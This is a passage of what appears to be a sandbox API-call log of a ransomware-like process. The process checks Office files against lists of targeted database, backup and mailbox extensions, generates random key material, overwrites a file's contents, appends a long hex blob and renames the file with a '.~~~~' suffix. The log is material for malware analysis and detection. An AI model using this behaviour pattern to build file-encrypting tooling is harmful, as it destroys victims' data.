	[0146.231] lstrlenW (lpString=".NDF") returned 4
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".NDF") returned 0x0
	[0146.231] lstrlenW (lpString=".dat") returned 4
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".dat") returned 0x0
	[0146.231] lstrlenW (lpString=".DBS") returned 4
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".DBS") returned 0x0
	[0146.231] lstrlenW (lpString=".CKP") returned 4
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".CKP") returned 0x0
	[0146.231] lstrlenW (lpString=".edb") returned 4
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".edb") returned 0x0
	[0146.231] lstrlenW (lpString=".PST") returned 4
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".PST") returned 0x0
	[0146.231] lstrlenW (lpString=".dbf") returned 4
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".dbf") returned 0x0
	[0146.231] lstrlenW (lpString=".SQL") returned 4
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".SQL") returned 0x0
	[0146.231] lstrlenW (lpString=".pst") returned 4
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".pst") returned 0x0
	[0146.231] lstrlenW (lpString=".dbv") returned 4
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".dbv") returned 0x0
	[0146.231] lstrlenW (lpString=".SDF") returned 4
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".SDF") returned 0x0
	[0146.231] lstrlenW (lpString=".dtxs") returned 5
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".dtxs") returned 0x0
	[0146.231] lstrlenW (lpString=".db3") returned 4
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".db3") returned 0x0
	[0146.232] lstrlenW (lpString=".OST") returned 4
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".OST") returned 0x0
	[0146.232] lstrlenW (lpString=".dbx") returned 4
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".dbx") returned 0x0
	[0146.232] lstrlenW (lpString=".DB3") returned 4
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".DB3") returned 0x0
	[0146.232] lstrlenW (lpString=".DAT") returned 4
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".DAT") returned 0x0
	[0146.232] lstrlenW (lpString=".VHDX") returned 5
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".VHDX") returned 0x0
	[0146.232] lstrlenW (lpString=".ndf") returned 4
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".ndf") returned 0x0
	[0146.232] lstrlenW (lpString=".DB") returned 3
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".DB") returned 0x0
	[0146.232] lstrlenW (lpString=".sql") returned 4
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".sql") returned 0x0
	[0146.232] lstrlenW (lpString=".MYD") returned 4
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".MYD") returned 0x0
	[0146.232] lstrlenW (lpString=".DBT") returned 4
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".DBT") returned 0x0
	[0146.232] lstrlenW (lpString=".ACCDB") returned 6
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".ACCDB") returned 0x0
	[0146.232] lstrlenW (lpString=".fdb") returned 4
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".fdb") returned 0x0
	[0146.232] lstrlenW (lpString=".bak") returned 4
	[0146.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".bak") returned 0x0
	[0146.233] lstrlenW (lpString=".myd") returned 4
	[0146.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".myd") returned 0x0
	[0146.233] lstrlenW (lpString=".DTXS") returned 5
	[0146.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".DTXS") returned 0x0
	[0146.233] lstrlenW (lpString=".ckp") returned 4
	[0146.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".ckp") returned 0x0
	[0146.233] lstrlenW (lpString=".dbt") returned 4
	[0146.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".dbt") returned 0x0
	[0146.233] lstrlenW (lpString=".db") returned 3
	[0146.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".db") returned 0x0
	[0146.233] lstrlenW (lpString=".TXT") returned 4
	[0146.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".TXT") returned 0x0
	[0146.233] lstrlenW (lpString=".MDF") returned 4
	[0146.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".MDF") returned 0x0
	[0146.233] lstrlenW (lpString=".bdb") returned 4
	[0146.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".bdb") returned 0x0
	[0146.233] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.233] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3961e0) returned 1
	[0146.234] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.234] CryptReleaseContext (hProv=0x3961e0, dwFlags=0x0) returned 1
	[0146.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0146.235] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26622490110) returned 1
	[0146.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc0917430, dwHighDateTime=0x1d60e1e)) 
	[0146.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0146.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0146.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0146.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1ed0
	[0146.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1ed0 | out: hHeap=0x300000) returned 1
	[0146.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acef0
	[0146.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28707c0
	[0146.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acef0 | out: hHeap=0x300000) returned 1
	[0146.236] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0146.236] GetLastError () returned 0x0
	[0146.236] GetLastError () returned 0x0
	[0146.236] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0146.236] GetLastError () returned 0x0
	[0146.236] GetLastError () returned 0x0
	[0146.237] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0xcd90, lpOverlapped=0x0) returned 1
	[0146.241] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff3270, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.241] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xcd90, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xcd90, lpOverlapped=0x0) returned 1
	[0146.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.242] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.242] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.242] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.242] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.242] CloseHandle (hObject=0x138) returned 1
	[0146.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28707c0
	[0146.242] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.~~~~")) returned 1
	[0146.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28707c0 | out: hHeap=0x300000) returned 1
	[0146.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0146.245] GetLastError () returned 0x0
	[0146.245] RtlWakeConditionVariable () returned 0x0
	[0146.245] GetCurrentThreadId () returned 0x9cc
	[0146.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".scr") returned 0x0
	[0146.246] lstrlenW (lpString=".cmd") returned 4
	[0146.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".cmd") returned 0x0
	[0146.246] lstrlenW (lpString=".dll") returned 4
	[0146.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".dll") returned 0x0
	[0146.246] lstrlenW (lpString=".bat") returned 4
	[0146.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".bat") returned 0x0
	[0146.246] lstrlenW (lpString=".cpl") returned 4
	[0146.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".cpl") returned 0x0
	[0146.246] lstrlenW (lpString=".sys") returned 4
	[0146.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".sys") returned 0x0
	[0146.246] lstrlenW (lpString=".msc") returned 4
	[0146.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".msc") returned 0x0
	[0146.246] lstrlenW (lpString=".com") returned 4
	[0146.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".com") returned 0x0
	[0146.246] lstrlenW (lpString=".lnk") returned 4
	[0146.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".lnk") returned 0x0
	[0146.246] lstrlenW (lpString=".msp") returned 4
	[0146.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".msp") returned 0x0
	[0146.246] lstrlenW (lpString=".pif") returned 4
	[0146.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".pif") returned 0x0
	[0146.246] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch="msp\r\n.pif") returned 0x0
	[0146.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_complete.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.249] lstrlenW (lpString=".sqb") returned 4
	[0146.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".sqb") returned 0x0
	[0146.249] lstrlenW (lpString=".ost") returned 4
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".ost") returned 0x0
	[0146.250] lstrlenW (lpString=".txt") returned 4
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".txt") returned 0x0
	[0146.250] lstrlenW (lpString=".mdt") returned 4
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".mdt") returned 0x0
	[0146.250] lstrlenW (lpString=".BDB") returned 4
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".BDB") returned 0x0
	[0146.250] lstrlenW (lpString=".eql") returned 4
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".eql") returned 0x0
	[0146.250] lstrlenW (lpString=".DBF") returned 4
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".DBF") returned 0x0
	[0146.250] lstrlenW (lpString=".EQL") returned 4
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".EQL") returned 0x0
	[0146.250] lstrlenW (lpString=".FDB") returned 4
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".FDB") returned 0x0
	[0146.250] lstrlenW (lpString=".EDB") returned 4
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".EDB") returned 0x0
	[0146.250] lstrlenW (lpString=".DACPAC") returned 7
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".DACPAC") returned 0x0
	[0146.250] lstrlenW (lpString=".VHD") returned 4
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".VHD") returned 0x0
	[0146.250] lstrlenW (lpString=".DBV") returned 4
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".DBV") returned 0x0
	[0146.250] lstrlenW (lpString=".dacpac") returned 7
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".dacpac") returned 0x0
	[0146.250] lstrlenW (lpString=".sdf") returned 4
	[0146.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".sdf") returned 0x0
	[0146.250] lstrlenW (lpString=".accdb") returned 6
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".accdb") returned 0x0
	[0146.251] lstrlenW (lpString=".DBX") returned 4
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".DBX") returned 0x0
	[0146.251] lstrlenW (lpString=".MDT") returned 4
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".MDT") returned 0x0
	[0146.251] lstrlenW (lpString=".SQB") returned 4
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".SQB") returned 0x0
	[0146.251] lstrlenW (lpString=".vhd") returned 4
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".vhd") returned 0x0
	[0146.251] lstrlenW (lpString=".bac") returned 4
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".bac") returned 0x0
	[0146.251] lstrlenW (lpString=".mdf") returned 4
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".mdf") returned 0x0
	[0146.251] lstrlenW (lpString=".BAK") returned 4
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".BAK") returned 0x0
	[0146.251] lstrlenW (lpString=".BAC") returned 4
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".BAC") returned 0x0
	[0146.251] lstrlenW (lpString=".dbs") returned 4
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".dbs") returned 0x0
	[0146.251] lstrlenW (lpString=".vhdx") returned 5
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".vhdx") returned 0x0
	[0146.251] lstrlenW (lpString=".NDF") returned 4
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".NDF") returned 0x0
	[0146.251] lstrlenW (lpString=".dat") returned 4
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".dat") returned 0x0
	[0146.251] lstrlenW (lpString=".DBS") returned 4
	[0146.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".DBS") returned 0x0
	[0146.252] lstrlenW (lpString=".CKP") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".CKP") returned 0x0
	[0146.252] lstrlenW (lpString=".edb") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".edb") returned 0x0
	[0146.252] lstrlenW (lpString=".PST") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".PST") returned 0x0
	[0146.252] lstrlenW (lpString=".dbf") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".dbf") returned 0x0
	[0146.252] lstrlenW (lpString=".SQL") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".SQL") returned 0x0
	[0146.252] lstrlenW (lpString=".pst") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".pst") returned 0x0
	[0146.252] lstrlenW (lpString=".dbv") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".dbv") returned 0x0
	[0146.252] lstrlenW (lpString=".SDF") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".SDF") returned 0x0
	[0146.252] lstrlenW (lpString=".dtxs") returned 5
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".dtxs") returned 0x0
	[0146.252] lstrlenW (lpString=".db3") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".db3") returned 0x0
	[0146.252] lstrlenW (lpString=".OST") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".OST") returned 0x0
	[0146.252] lstrlenW (lpString=".dbx") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".dbx") returned 0x0
	[0146.252] lstrlenW (lpString=".DB3") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".DB3") returned 0x0
	[0146.252] lstrlenW (lpString=".DAT") returned 4
	[0146.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".DAT") returned 0x0
	[0146.253] lstrlenW (lpString=".VHDX") returned 5
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".VHDX") returned 0x0
	[0146.253] lstrlenW (lpString=".ndf") returned 4
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".ndf") returned 0x0
	[0146.253] lstrlenW (lpString=".DB") returned 3
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".DB") returned 0x0
	[0146.253] lstrlenW (lpString=".sql") returned 4
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".sql") returned 0x0
	[0146.253] lstrlenW (lpString=".MYD") returned 4
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".MYD") returned 0x0
	[0146.253] lstrlenW (lpString=".DBT") returned 4
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".DBT") returned 0x0
	[0146.253] lstrlenW (lpString=".ACCDB") returned 6
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".ACCDB") returned 0x0
	[0146.253] lstrlenW (lpString=".fdb") returned 4
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".fdb") returned 0x0
	[0146.253] lstrlenW (lpString=".bak") returned 4
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".bak") returned 0x0
	[0146.253] lstrlenW (lpString=".myd") returned 4
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".myd") returned 0x0
	[0146.253] lstrlenW (lpString=".DTXS") returned 5
	[0146.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn", lpSrch=".DTXS") returned 0x0
	[0146.253] lstrlenW (lpString=".ckp") returned 4
